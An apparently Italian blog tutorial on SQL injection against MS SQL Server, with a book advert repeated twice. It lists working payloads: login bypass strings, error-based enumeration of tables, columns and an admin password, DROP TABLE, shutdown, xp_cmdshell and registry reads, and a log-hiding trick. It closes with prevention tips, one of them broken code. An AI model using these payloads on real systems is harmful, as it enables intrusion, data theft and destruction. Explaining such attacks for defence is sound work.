Per SQL Injection si intende la tecnica di hacking che, tramite l'invio di SQL indesiderato ad una applicazione, consente ad un cracker di:
- manipolare i nostri dati
- accedere ad aree riservate
- visualizzare informazioni personali
Cos'è un computer?
La mia Opera Prima!
In vendita presso i circuiti delle librerie online!
Che cos'è un computer? Scopriamolo insieme facendo quattro chiacchiere tra amici. Qui troverai parole semplici e paragoni efficaci che spiegano ai “non addetti ai lavori” i concetti alla base dell'uso dei computer. Seguimi in questo viaggio dove ti spiegherò cosa c’è “sotto il cofano” in modo che la prossima volta che dovrai scegliere un portatile ed il commesso ti chiederà se vuoi un processore Intel o AMD, se ti bastano 4Gb di RAM o 500Gb di disco, saprai cosa rispondere.
Inizia a leggere le prime pagine, vedi come, con un linguaggio semplice e fludio, spiego i concetti base dell'informatica e del computer! >>LEGGI L'ANTEPRIMA!<<
Formato:11,4x17,2 cm
Foliazione:156
Copertina: morbida
Interno: bn
Supporti disponibili: Cartace/eBook
Scheda del libro
in vendita presso:

Una vulnerabilità ad attacchi SQL Injection è solitamente provocata dagli sviluppatori che usano tecniche di creazione delle stringhe per effettuare query SQL senza adoperare determinati accorgimenti. Per esempio, in una pagina di login, il programmatore potrebbe usare il seguente codice per eseguire una query (esempio in VBScript/ASP):
$sql = "SELECT * from tab_utenti WHERE login='$login' AND password='$password'";
pippo' OR 1=1 --
SELECT * from tab_utenti WHERE login='pippo' OR 1=1 --' AND password=''
In questo modo è possibile, avendo una discreta conoscenza del linguaggio SQL e delle sue differenziazioni nelle varie versioni di dB, ottenere tutte le informazioni che si vuole da un sito vulnerabile
Prima di poter accedere ai dati il cracker deve conoscere la struttura del database: motore dB utilizzato, nomi delle tabelle, delle colonne, tipi di dati contenuti.
Di seguito sono riportati i metodi principali per trovare le informazioni occorrenti.
Gli esempi si riferiscono a MS SQL Server, il comando va inserito per intero nella variabile $login.
' having 0=0"
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column "COLONNA" is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
A seconda delle informazioni necessarie basterà inserire la stringa adeguata:
Obiettivo: Trovare il nome della tabella e della prima colonna
Comando: ' having 0=0'Risultato: Column 'members.UserID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
Obiettivo: Trovare il nome della colonna successiva
Comando: ' group by members.UserID having 0=0--
Risultato: Column 'members.Password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Obiettivo: Estrarre i nomi di tutte le colonne successive
Comando: ' group by members.UserID, members.Password having 0=0 --
Risultato: Column 'members.FirstName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Obiettivo: Scoprire se esiste un utente administrator
Comando: ' union select min(UserID),1,1,1 from members where UserID > 'a'--
Risultato: Syntax error converting the varchar value 'admin' to a column of data type int.
Obiettivo: Trovare la password dell'utente admin
Comando: ' union select Password,1,1,1 from members where UserID = 'admin'--
Risultato: Syntax error converting the varchar value 'pippo80' to a column of data type int.
Nel caso della query di esempio lo script ad essa associato certamente andrà a controllare se l'esecuzione della query restituisce almeno un record. Se si, consente di proseguire nella navigazione considerando l'utente autenticato, altrimenti rimanderà ad una pagina di errore e quindi ripeterà la procedura di login. Nel caso il cracker inietti codice SQL falsando il significato della QUERY riuscirebbe a scavalcare la procedura di login avendo accesso al sito dato che la query
SELECT * from tab_utenti WHERE login='pippo' OR 1=1 --' AND password=''
Comandi avanzati
Username: admin' --
Effetto: Autenticazione come utente admin
Username: ' OR ''='
Password: ' OR ''='
Effetto: Autenticazione senza credenziali
Username: ' ; drop table members--
Effetto: Eliminazione della tabella di un database
Username: aaaaaaaaaaaaaaa'
Password: ' ; shutdown --
Effetto: Chiusura del database
Username: ' ;EXEC master..xp_cmdshell 'dir';--
Effetto: Esecuzione del comando dir per ottenere un listato delle directory
Username: ' ;EXEC master..xp_regread HKEY_LOCAL_MACHINE,'percorso','chiave'--
Effetto: Lettura di una chiave del registro di Windows
Username: ' or 0=0 --sp_password
Effetto: Autenticazione come primo utente della tabella users. L'aggiunta di sp_password fa in modo che la stringa non venga visualizzata fra i log di SQL Server (vale per tutti i comandi).
Quali sono gli effetti id un attacco?
Di seguito una tabella delle possibili conseguenze del funzionamento di SQL con privilegi eccessivi, nello specifico si fa riferimento a Ms SQL Server:
Privilege Level | Conseguenze |
Sa / Root |
Totale controllo del SQL server con una shell del sistema operativo al livello di privilegi del servizio MSSQLSERVER usando l'extended stored procedure xp_cmdshell. Possibilità di leggere, scrivere e cancellare tutti i dati presenti in SQL server. |
db_owner |
Possibilità di leggere e scrivere tutti i dati del database in questione. Possibilità di eliminare tabelle, creare nuovi oggetti e in generale avere il controllo totale del database in questione. |
normal user (raccomandato) |
Possibilità di accedere in modo nativo a tutti gli oggetti del database a cui l'account può accedere. Al meglio questo significa poter solo lanciare stored procedures. Al peggio questo significa poter leggere e scrivere in tutte le tabelle e le viste. |
Cos'è un computer?
La mia Opera Prima!
In vendita presso i circuiti delle librerie online!
Che cos'è un computer? Scopriamolo insieme facendo quattro chiacchiere tra amici. Qui troverai parole semplici e paragoni efficaci che spiegano ai “non addetti ai lavori” i concetti alla base dell'uso dei computer. Seguimi in questo viaggio dove ti spiegherò cosa c’è “sotto il cofano” in modo che la prossima volta che dovrai scegliere un portatile ed il commesso ti chiederà se vuoi un processore Intel o AMD, se ti bastano 4Gb di RAM o 500Gb di disco, saprai cosa rispondere.
Inizia a leggere le prime pagine, vedi come, con un linguaggio semplice e fludio, spiego i concetti base dell'informatica e del computer! >>LEGGI L'ANTEPRIMA!<<
Formato:11,4x17,2 cm
Foliazione:156
Copertina: morbida
Interno: bn
Supporti disponibili: Cartace/eBook
Scheda del libro
in vendita presso:

Come abbiamo visto non è poi tanto complicato mettere a segno un attacco SQL Injection. Altrettanto semplice risulta essere la sua 'profilassi', basta seguire alcuni semplici accorgimenti.
- Se in un form vengono richiesti dei dati di tipo stringa, sostituire gli apici con due apici usando la funzione replace o funzioni equivalenti, di seguito un esempio vbscript
goodString = replace(inputString,','')
- Se in un form vengono richiesti dei dati di tipo numerico, verificare il tipo di dato usando ISNUMERIC o funzioni equivalenti
- Usare le stored procedure per astrarre l'accesso ai dati così che gli utenti non accedano direttamente a tabelle e viste
- Quando si usano stored procedure, implementarle usando l'oggetto ADO così che le variabili siano sicuramente tipizzate
-
Creare codice standard che coinvolge spesso una rivisitazione e test del programma
Un metodo che si raccomanda è quello di disabilitare (nella piattaforma di test) l'error handling così che vengano visualizzati gli errori ODBC o gli errori SQL Server. Basterà semplicemente tentare di immettere gli apici nelle form di inserimento dati. Se questo causa un malfunzionamento si è in presenza di una insufficiente validazione dei caratteri inseriti e quindi di una vulnerabilità . Come sempre, una buona revisione del codice è il metodo migliore per aumentare gli standard qualitativi di sicurezza.
Concludo con un monito per i commerciali e la classe dirigente che, spesso, detta le date di consegna delle applicazioni.
Le operazioni per la sicurezza di un'applicazione aumentano i tempi di lavorazione, quindi allungano i tempi di consegna e fanno lievitare i costi dello sviluppo. Meglio pagare per ottenere un'applicazione valida e sicura, soprattutto conoscendo l'ammontare dei costi, piuttosto che far fronte ai danni di un attacco futuro, di cui ad ora non si conoscono i costi ne le conseguenze legali se i dati divulgati dovessero essere dati sensibili.
Buon lavoro a tutti